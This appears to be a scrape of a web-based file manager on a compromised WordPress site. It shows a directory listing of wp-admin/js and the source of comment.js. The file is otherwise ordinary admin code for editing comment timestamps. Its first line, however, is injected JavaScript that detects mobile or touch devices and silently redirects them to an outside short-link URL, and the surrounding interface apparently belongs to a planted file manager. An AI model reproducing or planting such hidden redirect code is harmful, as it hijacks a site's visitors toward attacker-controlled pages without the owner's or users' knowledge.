at path:ROOT / wp-admin / js / comment.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄comment.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/comment.js
4 */
5
6/* global postboxes */
7
8/**
9 * Binds to the document ready event.
10 *
11 * @since 2.5.0
12 *
13 * @param {jQuery} $ The jQuery object.
14 */
15jQuery( function($) {
16
17 postboxes.add_postbox_toggles('comment');
18
19 var $timestampdiv = $('#timestampdiv'),
20 $timestamp = $( '#timestamp' ),
21 stamp = $timestamp.html(),
22 $timestampwrap = $timestampdiv.find( '.timestamp-wrap' ),
23 $edittimestamp = $timestampdiv.siblings( 'a.edit-timestamp' );
24
25 /**
26 * Adds event that opens the time stamp form if the form is hidden.
27 *
28 * @listens $edittimestamp:click
29 *
30 * @param {Event} event The event object.
31 * @return {void}
32 */
33 $edittimestamp.on( 'click', function( event ) {
34 if ( $timestampdiv.is( ':hidden' ) ) {
35 // Slide down the form and set focus on the first field.
36 $timestampdiv.slideDown( 'fast', function() {
37 $( 'input, select', $timestampwrap ).first().trigger( 'focus' );
38 } );
39 $(this).hide();
40 }
41 event.preventDefault();
42 });
43
44 /**
45 * Resets the time stamp values when the cancel button is clicked.
46 *
47 * @listens .cancel-timestamp:click
48 *
49 * @param {Event} event The event object.
50 * @return {void}
51 */
52
53 $timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) {
54 // Move focus back to the Edit link.
55 $edittimestamp.show().trigger( 'focus' );
56 $timestampdiv.slideUp( 'fast' );
57 $('#mm').val($('#hidden_mm').val());
58 $('#jj').val($('#hidden_jj').val());
59 $('#aa').val($('#hidden_aa').val());
60 $('#hh').val($('#hidden_hh').val());
61 $('#mn').val($('#hidden_mn').val());
62 $timestamp.html( stamp );
63 event.preventDefault();
64 });
65
66 /**
67 * Sets the time stamp values when the ok button is clicked.
68 *
69 * @listens .save-timestamp:click
70 *
71 * @param {Event} event The event object.
72 * @return {void}
73 */
74 $timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels.
75 var aa = $('#aa').val(), mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val(),
76 newD = new Date( aa, mm - 1, jj, hh, mn );
77
78 event.preventDefault();
79
80 if ( newD.getFullYear() != aa || (1 + newD.getMonth()) != mm || newD.getDate() != jj || newD.getMinutes() != mn ) {
81 $timestampwrap.addClass( 'form-invalid' );
82 return;
83 } else {
84 $timestampwrap.removeClass( 'form-invalid' );
85 }
86
87 $timestamp.html(
88 wp.i18n.__( 'Submitted on:' ) + ' <b>' +
89 /* translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute. */
90 wp.i18n.__( '%1$s %2$s, %3$s at %4$s:%5$s' )
91 .replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) )
92 .replace( '%2$s', parseInt( jj, 10 ) )
93 .replace( '%3$s', aa )
94 .replace( '%4$s', ( '00' + hh ).slice( -2 ) )
95 .replace( '%5$s', ( '00' + mn ).slice( -2 ) ) +
96 '</b> '
97 );
98
99 // Move focus back to the Edit link.
100 $edittimestamp.show().trigger( 'focus' );
101 $timestampdiv.slideUp( 'fast' );
102 });
103});
104